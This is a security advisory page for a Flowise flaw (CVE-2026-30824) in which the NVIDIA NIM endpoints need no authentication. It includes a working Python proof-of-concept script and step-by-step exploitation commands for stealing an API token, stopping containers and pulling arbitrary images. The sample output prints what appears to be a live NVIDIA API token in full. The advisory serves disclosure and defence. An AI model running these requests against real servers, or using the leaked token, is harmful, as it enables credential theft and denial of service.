Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-5f53-522j-j454
Advisory ID github_osv/GHSA-5f53-522j-j454
Aliases CVE-2026-30824
Summary Flowise Missing Authentication on NVIDIA NIM Endpoints # Missing Authentication on NVIDIA NIM Endpoints ## Summary The NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function | | Affected File | `packages/server/src/utils/constants.ts` | | Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) | | CVSS 3.1 | 8.6 (High) | ## Root Cause In `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist: ```typescript export const WHITELIST_URLS = [ // ... other URLs '/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation // ... ] ``` This causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks. ## Affected Endpoints | Method | Endpoint | Risk | |--------|----------|------| | GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token | | GET | `/api/v1/nvidia-nim/preload` | Resource consumption | | GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption | | GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure | | POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull | | POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start | | POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service | | POST | `/api/v1/nvidia-nim/get-image` | Information disclosure | | POST | `/api/v1/nvidia-nim/get-container` | Information disclosure | ## Impact ### 1. NVIDIA API Token Leakage The `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models. **Token obtained:** ```json { "access_token": "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", "token_type": "Bearer", "expires_in": 3600 } ``` **Token validation:** ```bash curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models # Returns list of 170+ available models ``` ### 2. Container Runtime Manipulation On systems with Docker/NIM installed, an unauthenticated attacker can: - List running containers (reconnaissance) - Stop containers (Denial of Service) - Start containers with arbitrary images - Pull arbitrary Docker images (resource consumption, potential malicious images) ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Privileged NVIDIA NIM endpoints are unauthenticated Usage: python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token """ import argparse import urllib.request import urllib.error def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port") ap.add_argument("--path", required=True, help="NIM endpoint path") ap.add_argument("--method", default="GET", choices=["GET", "POST"]) ap.add_argument("--data", default="", help="Raw request body for POST") args = ap.parse_args() url = args.target.rstrip("/") + "/" + args.path.lstrip("/") body = args.data.encode("utf-8") if args.method == "POST" else None req = urllib.request.Request( url, data=body, method=args.method, headers={"Content-Type": "application/json"} if body else {}, ) try: with urllib.request.urlopen(req, timeout=10) as r: print(r.read().decode("utf-8", errors="replace")) except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) if __name__ == "__main__": main() ``` <img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" /> ### Exploitation Steps ```bash # 1. Obtain NVIDIA API token (no authentication required) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token # 2. List running containers python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers # 3. Stop a container (DoS) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \ --method POST --data '{"containerId":"<target_id>"}' # 4. Pull arbitrary image python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \ --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}' ``` ### Evidence **Token retrieval without authentication:** ``` $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token {"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null} ``` **Token grants access to NVIDIA API:** ``` $ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models {"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]} ``` **Container endpoints return 500 (not 401) proving auth bypass:** ``` $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers {"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}} ``` ## References - [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [OWASP API Security Top 10 - API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)
Status Published
Exploitability 0.5
Weighted Severity 6.9
Risk 3.5
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
CWE-306 Missing Authentication for Critical Function
System Score Found at
cvssv4 7.7 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5f53-522j-j454/GHSA-5f53-522j-j454.json
generic_textual HIGH
Reference id Reference type URL
https://github.com/FlowiseAI/Flowise
CVE-2026-30824 https://nvd.nist.gov/vuln/detail/CVE-2026-30824
flowise%403.0.13 Other https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13
GHSA-5f53-522j-j454 Other https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5f53-522j-j454/GHSA-5f53-522j-j454.json
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-09T20:33:44Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/30xxx/CVE-2026-30824.json

Source Advisory: vulnrichment/CVE-2026-30824

View SSVC decision tree 
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]